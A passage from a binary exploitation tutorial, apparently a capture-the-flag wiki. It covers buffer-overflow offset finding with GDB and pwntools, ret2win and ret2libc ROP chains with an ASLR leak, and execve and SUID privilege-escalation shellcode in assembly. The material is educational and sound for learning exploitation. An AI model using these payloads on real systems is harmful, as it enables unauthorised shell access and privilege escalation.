  40140d:       e8 9c ff ff ff          call   4013ae <setup>
  401412:       e8 64 ff ff ff          call   40137b <banner>
  401417:       48 c7 45 d0 00 00 00    movq   $0x0,-0x30(%rbp)
...
```

However, this is very low-level code and makes it hard to see the big picture. That is why we use **decompilers** to try and guess what the original source code might have looked like. Common ones include [IDA ](https://hex-rays.com/ida-pro/)or [Ghidra](https://ghidra-sre.org/).

{% embed url="<https://jorianwoltjer.com/blog/p/stories/introduction-to-reverse-engineering-with-ghidra>" %}
An introduction to using Ghidra for Reverse Engineering
{% endembed %}

When looking at that C code, you can look at what steps the code takes and especially where your user input goes. It may be written to a buffer with a smaller size than the input allows, which can overflow it. When you find such a case you can switch over to [#dynamic-analysis](#dynamic-analysis "mention") to test your ideas.

A good thing to know before jumping straight into dynamic analysis on a compiled binary is that if you have the C source code, you can **add debug symbols** for yourself with the `-g` argument:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>gcc -ggdb main.c -o main
</strong>gdb ./main
</code></pre>

This will not only show the source code *while debugging* but also local variables and structs. Using commands like `p [variable]` you can print local variables in their fancy representation, for structs this means including the names of attributes.

<pre class="language-shellscript" data-title="Example"><code class="lang-shellscript">     14  int main()
     15  {
     16      struct example var = {66, "Hello"};
 →   17      print(ex);
     18      return 0;
     19  }
─────────────────────────────────────────────────────────────────────────────────────
<strong>gef➤  p var
</strong>$1 = {
  id = 0x42,
  name = 0x55555555600b "Hello"
}
</code></pre>

## Dynamic analysis

Dynamic analysis is running the program and testing things. In the case of a buffer overflow, your input is bigger than the buffer it is being put into. While you can try to find this through [#static-analysis](#static-analysis "mention"), in most cases it is easiest to just test it with a large input to see if the program crashes. For example:

{% code title="Python" %}

```python
>>> "A"*200
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
```

{% endcode %}

Programs often have input in the form of STDIN (**St**an**d**ard **In**put, typing after the program is started), or from command-line arguments. In some cases, it may also read files, connect to sockets, or more. When you find any sort of input it is a good idea to try putting a large string in there just to be sure. For simpler binary exploitation challenges this will almost always find you the vulnerability quickly:

```shell-session
$ ./binary
Input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Segmentation fault
```

When you see this `Segmentation fault` message it is a clear sign of something in the program corrupting causing it to panic. To view the error in more detail you can look at the `dmesg` command which will generate a few logs on such a fault.

From here, you'll often want to find the exact offset for your payload to know what will be overwritten. This is often done using a [de Bruijn sequence](https://en.wikipedia.org/wiki/De_Bruijn_sequence), also known as a *cyclic pattern*. This is a string of text that never repeats itself, so if you find some substring of it in an error for example you can easily find what part of the string that substring was. As opposed to if you just saw "AAAA" and don't know what part of the 200 A's it came from.

A pattern like this can easily be generated using [pwntools](https://docs.pwntools.com/en/stable/):

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ cyclic 200
</strong>aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
# # Also supports looking up the offset for a substring:
<strong>$ cyclic -l oaaa
</strong>56
</code></pre>

Buffer overflows are about controlling the Instruction Pointer, and when a crash happens this is often because of a `ret` (return) instruction which pops an address from the stack, and jumps to it. If you have overflowed the stack in this way, you might have overflown this return address, and it will try to jump to the address your text represents. This address can be found easily using [GDB GEF](https://gef.readthedocs.io/en/latest/). You can run the binary, and then when it crashes you will get a lot more information:

<pre class="language-clike"><code class="lang-clike"><strong>$ gdb ./binary
</strong>GNU gdb (Ubuntu 9.2-0ubuntu1~20.04.1) 9.2

GEF for linux ready, type 'gef' to start, 'gef config' to configure
90 commands loaded and 5 functions added for GDB 9.2 in 0.00ms using Python engine 3.8
<strong>gef➤ run
</strong>Starting program: ./binary

<strong>Input: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
</strong>
Program received signal SIGSEGV, Segmentation fault.
0x0000000000401602 in main ()
...
───────────────────────────────────────────────────────────────────────── stack ────
<strong>0x007fffffffd708│+0x0000: "oaaapaaaqaa"  ← $rsp
</strong>0x007fffffffd710│+0x0008: 0x00000000616171 ("qaa"?)
0x007fffffffd718│+0x0010: 0x00000000401405  →  &#x3C;main+0> push rbp
...
─────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x401601 &#x3C;main+508>       leave
 →   0x401602 &#x3C;main+509>       ret
[!] Cannot disassemble from $PC
──────────────────────────────────────────────────────-──────────-───── threads ────
[#0] Id 1, Name: "labyrinth", stopped 0x401602 in main (), reason: SIGSEGV
───────────────────────────────────────────────────────────────────────── trace ────
<strong>gef➤ x $rsp
</strong><strong>0x7fffffffd708: 0x6161616f
</strong></code></pre>

This `x $rsp` command e**x**amines the value at the Stack Pointer register. The `ret` instruction that it crashes at will take the first value from there, and jump to it. In this example the value was `0x6161616f`, which we can look up with the `cyclic` tool:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ cyclic -l 0x6161616f
</strong>56
</code></pre>

Now we know that we need to provide 56 A's to overflow the buffer, and then the following bytes become the instruction pointer. Finding this offset is something you will have to do for almost every buffer overflow you find, so it is good to get used to.

### Input from file

In GDB, you don't have to type all your input yourself. Similarly to bash, you can redirect input from a file into your binary. This can also be really useful for inputting special characters while testing your payload.

```clike
gef➤ run < /path/to/file
```


# PwnTools

A Python library that helps in creating scripts for binary exploitation, doing many things automagically

PwnTools is a Python library and includes some command-line tools as well. You can install it to your current Python version with the following command:

```bash
python3 -m pip install pwntools
```

The full documentation is available on [docs.pwntools.com](https://docs.pwntools.com/en/stable/):

{% embed url="<https://docs.pwntools.com/en/stable/>" %}
Documentation for the PwnTools library and CLI tools
{% endembed %}

## Builtin binaries

When you install PwnTools, it comes with a few small but useful binaries for binary exploitation. Here are some and how to use them.

### `checksec` - Check security protections

This tool checks a few security-related settings on a binary, which will help you visualize what attacks might work, and which ones won't. You can run it like `checksec ./binary` and see an output like the following:

![](/files/B7vXprQvYTIuMkG8drg2)

In this output, green is **safe,** and red is **unsafe**. Note that if these are all green, it does not mean the binary has no vulnerabilities. It just means that you will have to use some other tricks during exploitation. Let's go over what these mean:

#### RELRO (RELocation Read-Only)

RELRO decides whether or not a few sections in the binary are read-only, preventing relocation tables from being overwritten in some cases. There are 3 possible values for this setting:

1. ![](/files/8pd1aXu9jLuBEoVioFu3): The relocation tables are not protected and can be modified at runtime, making the binary vulnerable to GOT and PLT overwrite attacks
2. ![](/files/y4oNlfFxZo37amsBDUuk): The relocation tables are made read-only, but some parts of the GOT are left writeable to allow lazy symbol binding. This still allows some attacks like [ret2dlresolve](/binary-exploitation/return-oriented-programming-rop/ret2dlresolve) where this is abused to link arbitrary functions like `system()` in a binary without it. This protection often does not make much of a difference when writing your exploit
3. ![](/files/96DZyUWArD397OaoGGHa): This makes the GOT completely read-only, making any attacks that try to write in it impossible. But it is not always enabled because there is a significant slowdown during the startup of the binary which developers might want to avoid

#### Stack canary

A stack canary is a reference to [canaries in a coal mine](https://en.wikipedia.org/wiki/Sentinel_species#Historical_examples). When a canary got sick, the miners would know it is unsafe here and stop mining. For a binary, it is the same idea: Right before the return address on the stack, a random value is placed. Then before actually returning at the `ret` instruction, it checks if this random value is still the same. If it was overwritten by a buffer overflow the value would change, and then the program would panic and exit before anything malicious can happen.

An attacker would have to guess, or more often leak this value to bypass the check. See [Stack Canaries](/binary-exploitation/stack-canaries#stack-canaries) for more detailed exploit ideas.

#### NX (Non-eXecutable stack)

Sometimes attackers will place shellcode on the stack, within their input. This can then be jumped to if they can control the Instruction Pointer, to execute arbitrary instructions, such as a shell.

With NX enabled, the stack is made non-executable to not allow any code to be run that came from the stack. This way, instructions are stored in the code section, and data is stored on the stack/heap.

In this case, an attacker would have to use existing instructions to execute what they want as they cannot add their own, often requiring some sort of [Return-Oriented Programming (ROP)](/binary-exploitation/return-oriented-programming-rop).

#### PIE (Position Independent Executable)

With PIE enabled, the code of the binary will be loaded at a random memory location. This means you cannot use hardcoded addresses for functions or other instructions, as you won't know beforehand at what address they will be.

However, everything is offset together, meaning the **relative** addresses stay the same. So if you can leak any code address you can find all the relative addresses from that. If for some reason you can make a relative jump, this also won't stop you.

{% hint style="info" %}
The address PwnTools shows for this when it is disabled means the base address the binary will always start from. This address is often `0x400000` by default, but it may be changed in the binary itself.
{% endhint %}

### `cyclic` - Create cyclic patterns

This is a simple but very useful one. As explained further in [Reverse Engineering for Pwn](/binary-exploitation/reverse-engineering-for-pwn#dynamic-analysis), the `cyclic` command allows you to generate [de Bruijn sequences](https://en.wikipedia.org/wiki/De_Bruijn_sequence). These are very useful for finding the offset in a buffer overflow, as you can search the value that the instruction pointer is trying to jump to back in the original string to find the exact offset. You can generate a string:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ cyclic 200
</strong>aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
</code></pre>

And when you have triggered the vulnerability, you can take the value you find as the instruction pointer and reverse look it up again to find the exact offset in one go:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ cyclic -l 0x6161616f
</strong>56
</code></pre>

## Useful syntax

The `pwn` Python library has many useful features, some more known than others. Here is a collection of a few pieces of syntax that can drastically simplify your exploit scripts.

Learn it once and you can never go back.

### Importing

```python
from pwn import *
```

Now all the functions and variables of pwntools are imported to the current context.

```python
# Run a local binary
p = process("./binary")
# Connect to a remote host using TCP (same as `$ nc 10.10.10.10 1337`)
p = remote("10.10.10.10", 1337)
# Load an ELF binary
libc = ELF("./libc.so.6")
libc = ELF("./libc.so.6", checksec=False)  # Disable the default `checksec` on import

# Load a binary, and then create a process from it
context.binary = elf = ELF("./binary")
p = process()
p = process(aslr=False)  # You can also disable ASLR here
```

### Interaction

```python
# Open an interactive shell like `nc` would (useful at the end / for debugging)
p.interactive()
```

When working with interaction in PwnTools, you should almost exclusively use **bytestings**. These guarantee that your payload or text won't be misinterpreted by UTF-8 conversions, and can be easily created using the `b""` syntax.

#### Receiving data

```python
p.recvline()  # Receive until \n
p.recvuntil(b"here it comes: ")  # Receive until custom text
p.recv(42)  # Receive a specific amount of bytes
p.clean()  # Receive all for 0.05 seconds

# In pwntools >= 4.10.0 you can use regex with capture groups to extract text
p.recvregex(rb"0x([0-9a-f]+) and more", capture=True).group(1)
```

#### Sending data

```python
p.sendline(b"Hello, world!")  # Send a line of input
p.send(b"text")  # Send raw bytes (no newline)

p.sendlineafter(b"> ", b"command")  # Send line after some data has been received
```

### Creating payloads

#### Packing

```python
# Pack an integer into bytes (little-endian)
p64(0xdeadbeef)  # b'\xef\xbe\xad\xde\x00\x00\x00\x00'
p32(0xdeadbeef)  # b'\xde\xad\xbe\xef'

# Set endianness to big
context.endian = "big"
p64(0xdeadbeef)  # b'\x00\x00\x00\x00\xde\xad\xbe\xef'
```

#### `flat()`

```python
# Simply concatenate values, and automatically pack them
flat([b"some string", 1337])  # b'some string9\x05\x00\x00\x00\x00\x00\x00'

# Easily put values at specific offsets
flat({
    12: 0xdeadbeef
})  # b'aaaabaaacaaa\xef\xbe\xad\xde'
context.bits = 64  # Based on context variable
flat({
    12: 0xdeadbeef
})  # b'aaaabaaacaaa\xef\xbe\xad\xde\x00\x00\x00\x00'

# You can even put a list of values you want to place there
flat({
    4: [b"some string", 1337],
    32: 0xdeadbeef
})  # b'aaaasome string9\x05\x00\x00\x00\x00\x00\x00agaaahaaa\xef\xbe\xad\xde\x00\x00\x00\x00'
```

{% hint style="info" %}
For more useful syntax related to [Return-Oriented Programming (ROP)](/binary-exploitation/return-oriented-programming-rop), see its [Return-Oriented Programming (ROP)](/binary-exploitation/return-oriented-programming-rop#pwntools)
{% endhint %}


# ret2win

Jump to a predefined function in the binary, even with arguments

When you have found a buffer overflow, you can set the Instruction Pointer to any value by overwriting it. In some simple cases, there is a predefined function in the binary that may not even be used but can be jumped to. This is always an easy win, so check if this is the case in your binary. You can use `objdump -d ./binary` to view the disassembly of all known functions, or you can look at a decompiler of your choice to find these functions.

To exploit it, you can use the simple PwnTools ROP functionality to find any required ROP gadgets automatically and resolve function names for you.

```python
elf = ELF("./binary")
rop = ROP(elf)
rop.win()

payload = flat({
    OFFSET: rop.chain()
})
```

The example above will call a function named `win()` in your binary, and then use the `flat()` function to add the required amount of padding before the return address (`rop.chain`). If you have the correct offset, it will now jump to and run your function.

{% hint style="warning" %}
In some cases, the stack might be misaligned causing segmentation faults even when doing it correctly like this. In such a case, you can simply realign the stack by inserting a single `ret` instruction before actually jumping to the desired function.

<pre class="language-python"><code class="lang-python">rop = ROP(elf)
<strong>rop.call(rop.ret)
</strong>rop.win()
</code></pre>

{% endhint %}

## Adding arguments

With some more PwnTools magic adding arguments to a function call can also be really easy:

```python
rop = ROP(elf)
rop.win(42, 1337)
```

But sometimes you need a string, which is a little harder. Strings are stored as **pointers** (addresses) to the string. This means the string itself is not actually stored on the stack we are overflowing, only the address is. We can only set the address, so we need to find some address where the string is stored.

If you can leak addresses like the stack pointer, you can simply calculate and point it to the address of your own payload, where you completely control the value as it is your input.

If you can only leak an address like libc, you can search in that binary to find the string you need. For example:

```python
libc = ELF("./libc.so.6")
bin_sh = next(libc.search(b"/bin/sh"))  # 0x7fcdf0446698

rop.system(bin_sh)  # Call with string argument
```

This way you can still call functions with specific string arguments, to get a shell in this case.


# ret2libc

Using a buffer overflow to call the libc system("/bin/sh") function

## Theory

The idea of ret2libc is returning to a function defined in the libc library. A common one is the `system()` function allowing you to execute shell commands and with the `"/bin/sh"` argument an interactive system shell. Just like calling a function with arguments as in [ret2win](/binary-exploitation/ret2win), we jump to this `system()` function with a string argument found in the same libc binary.

This technique is really useful when there is no `win()` function to jump to, as this `system()` function is essentially the same as a win function, but not specific to any binary.

## Exploit

To call a function with a string argument, we need two things. The address of the function, and the address to the string that will be the argument.

If ASLR is disabled, this first part is simple. We just need the address of the `system()` function which can be found if we have a copy of the libc binary the remote server uses. It may be given in the challenge, or it may not. If it is not given, you can try to find it by leaking addresses as explained later in [#bypassing-aslr](#bypassing-aslr "mention") and looking them up in the [libc database](https://libc.rip) to find any matches.

Then we need the string, which can be easily found using PwnTools. Every libc version has a "/bin/sh" string inside by default, which we can abuse. The code will look something like this:

```python
libc = ELF("./libc.so.6")

rop = ROP(libc)
#rop.call(rop.ret)  # Might be needed to align the stack (try with/without)
rop.system(next(libc.search(b"/bin/sh")))  # Find the "/bin/sh" string and call system()
rop.exit()  # Clean exit after stopping the shell

payload = flat({
    OFFSET: rop.chain()
})
```

After sending the payload, you can get a nice interactive shell with the `p.interactive()` function:

```python
p.sendline(payload)  # Trigger shell

p.interactive()  # Make shell interactive in terminal
```

{% hint style="warning" %}
In case you are exploiting a [Command Triggers](/linux/linux-privilege-escalation/command-triggers#setuid) binary, this shell will likely not escalate your privileges yet. To do this, you first have to call `setuid(0)` to **use** your given permissions. In the ROP chain, you can simply include this call:

<pre class="language-python"><code class="lang-python">...
<strong>rop.setuid(0)  # Set to the UID of the owner of the SUID binary
</strong>rop.system(...
</code></pre>

{% endhint %}

## Is ASLR enabled?

Most often Address Space Layout Randomization (ASLR) is enabled on the remote machine (and likely yours too). You can check if it is by reading the `/proc/sys/kernel/randomize_va_space` file:

* `0`: Disables ASLR. In this mode, the kernel does not randomize the location of the stack, shared libraries, or executable code.
* `1`: Enables ASLR for user-space applications only. The kernel randomizes the location of the **stack**, shared **libraries**, and **executable code** for user-space applications.
* `2`: Enables ASLR for all processes, including the kernel itself. In addition to randomizing the location of user-space applications, the kernel also randomizes the location of the kernel stack, heap, and other kernel components.

Only `root` should be able to write to this file and change the setting. When enabled, it makes many loaded addresses randomized on each binary run, making it impossible to guess beforehand what they will be.

If you don't have access to the machine to read this file, another way to check is just to test if you can jump somewhere you know. For example, **simply jumping to the start of `main()`** to see if the program restarts on the remote instance. If it successfully repeats the main function, ASLR is likely off which will make any exploit much simpler. If it crashes, or just closes the connection, it likely jumped to an invalid address and segfaulted.

## Bypassing ASLR

Simply jumping to the `system()` function won't work here, because we need to know what randomized address to jump to. But to make it work again, we simply need to leak any libc address, because all the addresses will still be the same **relative** to each other. Leaking such an address can be done in a few different ways, but one common method is using the Procedure Linkage Table (PLT) and the Global Offset Table (GOT).

We want to somehow leak the address of any libc function, which can be done by **printing** the value. If the original binary uses any `puts()`, `printf()` or similar functions, those functions will be saved in the PLT. The address to this table is not randomized by ASLR, so we can use it to print the value at any address we want. The GOT just happens to store the randomized addresses to used libc functions, which can be printed using this method. The code looks something like this:

```python
elf = ELF("./binary")

rop = ROP(elf)
rop.puts(elf.got["puts"])
```

This would print some binary data being the leaked address to the libc `puts()` function, but then it likely crashes the program because we corrupted the flow. But since we control the return addresses, we can simply restart the program after we leaked the address, now with the knowledge of this leaked address!

<pre class="language-python"><code class="lang-python">rop = ROP(elf)
rop.puts(elf.got["puts"])
<strong>rop.main()
</strong>
payload = flat({
    OFFSET: rop.chain()
})
</code></pre>

After sending this payload, the first bytes you will receive are the address we are looking for. After that, the program restarts and we can do the buffer overflow again but now having bypassed ASLR by leaking a libc address. We can extract the address from the printed binary data like so:

```python
p.sendline(payload)

# Note: Try some different things here locally for your program to find a consistent 
#       way to extract the address. Here the first 6 bytes are taken
r = p.recv(6)
leak = u64(r.ljust(8, b"\x00"))  # Unpack data
success("Leaked puts(): %#x", leak)
```

Finally, now that we have leaked the address we can calculate the relative offset with where the `puts()` function would normally be in libc:

```python
libc = ELF("./libc.so.6")

libc.address = leak - libc.symbols["puts"]
```

The above line of code will set the base address of libc making any future calls like `rop.system()` work automatically.

As the program restarts, now it becomes the same as in [#exploit](#exploit "mention"). We just need to call the `system()` function with the `"/bin/sh"` string:

```python
rop = ROP(libc)
rop.call(rop.ret)  # Align the stack for 64-bit
rop.system(next(libc.search(b"/bin/sh")))  # Find the "/bin/sh" string and call system()
rop.exit()  # Clean exit after stopping the shell

payload = flat({
    OFFSET: rop.chain()
})
p.sendline(payload)
p.interactive()
```

{% hint style="info" %}
Notice the `rop.call(rop.ret)` instruction, which is needed to call the `system()` function after corrupting the stack as we did. The reason for this is that a `movaps` instruction requires the stack pointer (`rsp`) to be **16-bit aligned**, which is normally guaranteed by the compiler.\
In our exploit, we return directly to the function, `pop`'ing one value from the stack, bringing its last hex digit from `0` (aligned) to `8` (misaligned). By adding one more `ret` instruction before, we **pop another** return pointer from the stack, aligning it back to `0` and allowing the `system()` call to work as expected.
{% endhint %}

Putting it all together results in an example script like the following:

{% file src="/files/OqbFR2nTXbBpBynm5aFS" %}
An example script of ret2libc bypassing ASLR by leaking puts()
{% endfile %}


# Shellcode

Writing and debugging your own shellcode

When you have found a buffer overflow or any other way to jump to your input a common exploitation method is to write shellcode. With shellcode, you write data in the form of assembly instructions so that any code you have written will be executed when the program jumps to it.

Shellcode is called "**shell**code" because you often write code that gives you an interactive shell. This can be done using the `execve("/bin/sh", NULL, NULL)` syscall to spawn an `sh` shell with no arguments or environment variables. There are existing shellcodes people have created for various different architectures and use cases, like the following database:

{% embed url="<https://web.archive.org/web/20260322100510/http://shell-storm.org/shellcode/index.html>" %}
Big collection of shellcodes make by different people, for many architectures and use cases
{% endembed %}

While these are often enough, in some cases, you will need to write your own custom shellcode that does exactly what you need. There are many different ways of writing shellcode because it simply involves extracting the bytes as machine code from an existing program.

To have the most control and shortest shellcode, it is recommended to write them in **assembly**, but in theory, you could just as well write it in C and later extract the assembly from it after compiling.

## Simple example

We can write a simple `execve(pathname, argv[], envp[])` syscall like explained above in assembly. We first need to know the correct [syscall number](https://x64.syscall.sh/), to choose `execve`. Then set the arguments, which in x64 are in order `rdi, rsi, rdx`. The first is the most important, as the file to execute. This will be `"/bin/sh"` in our case, but as it is a `char*` type it need to be a **pointer** to that string. Since we control the shellcode, we can simply include that string in it and reference it relatively from the `rip` register as that will be in the middle of our shellcode as we are executing it. The whole thing looks something like this:

{% code title="shellcode.s" %}

```asmatmel
.global _start
_start:
.intel_syntax noprefix
        mov rax, 59           ; choose which syscall: execve (see x64.syscall.sh)
        lea rdi, [rip+binsh]  ; set a *pointer* to the /bin/sh string as 1st argument
        mov rsi, 0            ; set 2nd argument (argv[]) to NULL
        mov rdx, 0            ; set 3rd argument (envp[]) to NULL
        syscall               ; perform the syscall we set up
binsh:
        .string "/bin/sh"     ; include the string we referenced
```

{% endcode %}

Now that we have the assembly code, we'll need to compile it, and later extract the raw shellcode bytes from that compiled binary. First compile it to a runnable ELF file:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>gcc -nostdlib -static shellcode.s -o shellcode-elf
</strong>./shellcode-elf
</code></pre>

This will create a `shellcode-elf` file that you can run to test out your shellcode, and debug it if something goes wrong. If it seems to work correctly, like giving you a shell in this example, you can extract the `.text` section which contains the code we wrote, but this time as raw bytes from the binary:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ objcopy --dump-section .text=shellcode-raw shellcode-elf
</strong>$ hd shellcode-raw  # hexdump
00000000  48 c7 c0 3b 00 00 00 48  8d 3d 10 00 00 00 48 c7  |H..;...H.=....H.|
00000010  c6 00 00 00 00 48 c7 c2  00 00 00 00 0f 05 2f 62  |.....H......../b|
00000020  69 6e 2f 73 68 00                                 |in/sh.|
00000026
</code></pre>

After that, you will have your shellcode in a `shellcode-raw` file that you can include in your payload.

## Debugging shellcode

When the shellcode you created doesn't seem to work correctly, you need to debug it. It's probably some simple mistake because assembly is hard, but you just need to understand what is happening. To get a high-level overview of the **syscalls** you are executing, running `strace` is a good option. It runs your program and at the same time will print which syscalls are executed and their return values. For example:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ strace ./shellcode-elf
</strong>execve("./shellcode-elf", ["./shellcode-elf"], 0x7ffdf115bb40 /* 41 vars */) = 0
execve("/bin/wrong", NULL, NULL)        = -1 ENOENT (No such file or directory)
--- SIGILL {si_signo=SIGILL, si_code=ILL_ILLOPN, si_addr=0x40101e} ---
+++ killed by SIGILL +++
Illegal instruction
</code></pre>

This method is more useful if you have a combination of multiple syscalls where you want to see the intermediate results. For more detailed analysis like stepping through individual instructions, you can use a real debugger like GDB. Simply run the shellcode in GDB and you can break at the first instruction using the `starti` command. Here we can examine the next instructions, the state of registers, look at the stack, and much more.

<pre class="language-asmatmel"><code class="lang-asmatmel"><strong>(gdb) starti
</strong>Program stopped.
0x0000000000401000 in _start ()
<strong>(gdb) x/5i $rip
</strong>=> 0x401000 &#x3C;_start>:      mov    $0x3b,%rax
   0x401007 &#x3C;_start+7>:    lea    0x10(%rip),%rdi        # 0x40101e &#x3C;binsh>
   0x40100e &#x3C;_start+14>:   mov    $0x0,%rsi
   0x401015 &#x3C;_start+21>:   mov    $0x0,%rdx
   0x40101c &#x3C;_start+28>:   syscall
<strong>(gdb) ni
</strong>0x0000000000401007 in _start ()
<strong>(gdb) x/5i $rip
</strong>=> 0x401007 &#x3C;_start+7>:    lea    0x10(%rip),%rdi        # 0x40101e &#x3C;binsh>
   0x40100e &#x3C;_start+14>:   mov    $0x0,%rsi
   0x401015 &#x3C;_start+21>:   mov    $0x0,%rdx
   0x40101c &#x3C;_start+28>:   syscall
   0x40101e &#x3C;binsh>:       (bad)
</code></pre>

In case your shellcode works **alone**, but not **inside your exploit**, you can also add a debugger to the exploited binary to step through everything in a different context, which might reveal differences. An easy way to set a breakpoint at the start of your payload is to include the `int3` instruction, which triggers a trace/breakpoint trap in any debugger. You can manually add the `\xcc` byte it translates to, or simply include the `int3` in your assembly source code before compiling (see [this video](https://www.youtube.com/watch?v=re4teYmSoXA\&pp=ygUgZGVidWdnaW5nIHNoZWxsY29kZSBsaXZlb3ZlcmZsb3c%3D) for a full explanation):

<pre class="language-asmatmel"><code class="lang-asmatmel"><strong>(gdb) run
</strong>Program received signal SIGTRAP, Trace/breakpoint trap.
0x0000000000401001 in _start ()
<strong>(gdb) x/5i $rip
</strong>=> 0x401001 &#x3C;_start+1>:    mov    $0x3b,%rax
   0x401008 &#x3C;_start+8>:    lea    0x10(%rip),%rdi        # 0x40101f &#x3C;binsh>
   0x40100f &#x3C;_start+15>:   mov    $0x0,%rsi
   0x401016 &#x3C;_start+22>:   mov    $0x0,%rdx
   0x40101d &#x3C;_start+29>:   syscall
</code></pre>

## Exploiting SUID binaries

While the shellcode above gives you an interactive `sh` shell, you might find yourself requiring something more. If you are exploiting a SUID binary where your privileges are elevated, often the goal is to become that user, instead of only spawning a shell as yourself. By default, spawning an `execve` shell as above using a SUID binary will **not** give you the permissions of that user, but instead, take yours. Look at the following example:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>root@machine $ chown root:root shellcode-elf
</strong><strong>root@machine $ chmod +s shellcode-elf
</strong><strong>user@machine $ ls -l shellcode-elf
</strong>-rwsr-sr-x 1 root root 4784 May 28 11:11 shellcode-elf
<strong>user@machine $ ./shellcode-elf
</strong>$ id
uid=1001(user) gid=1001(user) groups=1001(user)
</code></pre>

This can be unintuitive because the program should execute as `root` because of the `s` bit we set in the permissions. However, when we execute the shellcode we are still the same low-privilege `user`. This is because the setuid bit is only **allowing** the program to **elevate** its permissions. We just have to perform this elevation still using the `setreuid` (user) and `setregid` (group) syscalls to take over this user. Both of these syscalls take in two arguments as the "real" and "effective" IDs. We can hardcode all these to 0 to try and elevate to root if the SUID binary is executed as root, but in some cases, it will be owned by a different user or group ID.

To make a generic method for this, we can request the current **effective** IDs and set the **real** IDs to that value. This will basically be the following two syscalls:

```c
setreuid(geteuid(), geteuid());
setregid(getegid(), getegid());
```

It will set both the user and group to the executing user allowing you to elevate from any SUID binary to **any user**, not just root. In assembly, these syscalls would look like this:

{% code title="shellcode-suid.s" %}

```asmatmel
.global _start
_start:
.intel_syntax noprefix
geteuid:
        mov rax, 107
        syscall
setreuid:
        mov rdi, rax  ; result from geteuid()
        mov rsi, rax  ; result from geteuid()
        mov rax, 113
        syscall       ; setreuid(geteuid(), geteuid())
getegid:
        mov rax, 108
        syscall
setregid:
        mov rdi, rax  ; result from getegid()
        mov rsi, rax  ; result from geteuid()
        mov rax, 114
        syscall       ; setregid(getegid(), getegid()
execve:
        mov rax, 59
        lea rdi, [rip+binsh]
        mov rsi, 0
        mov rdx, 0
        syscall       ; execute "/bin/sh" now that UID and GID are set
binsh:
        .string "/bin/sh"
```

{% endcode %}

Compiling this shellcode instead, we can see the permissions are correctly transferred over:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>admin@machine $ gcc -nostdlib -static shellcode-suid.s -o shellcode-suid-elf
</strong><strong>admin@machine $ chmod +s shellcode-suid-elf
</strong><strong>user@machine $ id
</strong>uid=1001(user) gid=1001(user) groups=1001(user)
<strong>user@machine $ ./shellcode-elf
</strong>$ id
uid=1000(admin) gid=1000(admin) groups=1000(admin),1001(user)
</code></pre>

## Filter Bypass (badchars)

Pretty often, you are limited in your input and thus what shellcode you can provide. Some characters or patterns might be interpreted differently from other characters making the choice of what bytes to use in your shellcode important. Common examples are [#0-null-bytes](#0-null-bytes "mention"), which are often used to end a string, and [#n-newlines-and-others](#n-newlines-and-others "mention") that might be the end of input.

Below is a table of problematic bytes in common builtin functions ([source](https://youtu.be/i1jXV8W-CYQ?t=162)):

<table><thead><tr><th width="287">Byte</th><th>Problematic Functions</th></tr></thead><tbody><tr><td><code>0x00</code>: Null byte (<code>\0</code>)</td><td><code>strcpy</code></td></tr><tr><td><code>0x0a</code>: Newline (<code>\n</code>)</td><td><code>scanf</code> <code>gets</code> <code>getline</code> <code>fgets</code></td></tr><tr><td><code>0x0d</code>: Carriage return (<code>\r</code>)</td><td><code>scanf</code></td></tr><tr><td><code>0x20</code>: Space ( )</td><td><code>scanf</code></td></tr><tr><td><code>0x09</code>: Tab (<code>\t</code>)</td><td><code>scanf</code></td></tr><tr><td><code>0x7f</code>: DEL</td><td>protocol-specific (telnet, VT100, etc.)</td></tr></tbody></table>

### `\n` newlines (and others)

When you provide shellcode, often this is done via a command-line input. Many functions that accept user input via STDIN will wait until it is completed with a `\n`. This means that if you send a newline inside of your payload prematurely, it will end your input and not copy the full shellcode.

The byte value of a newline is `0x0a`, or 10 in decimal. If you want to set a value of 10 with a `mov` instruction into a register, for example, it might encode to `0x0a` breaking the payload.

In this case, the easiest solution is often to choose a slightly **smaller or larger** value that still serves the same purpose.\
Sometimes you do need exactly 10 though, but then simply set it to a different value first, and change it with another instruction right after. For example:

```asmatmel
mov rax, 10    ; 64-bit syscall for mprotect()
--------------------
48 c7 c0 0a 00 00 00
         ^^ problem
```

We can fix this, by first setting `rax` to 9, and then incrementing it by one to get the same result:

```asmatmel
mov rax, 9    ; rax = 9
inc rax       ; rax = 9+1 = 10
------------------
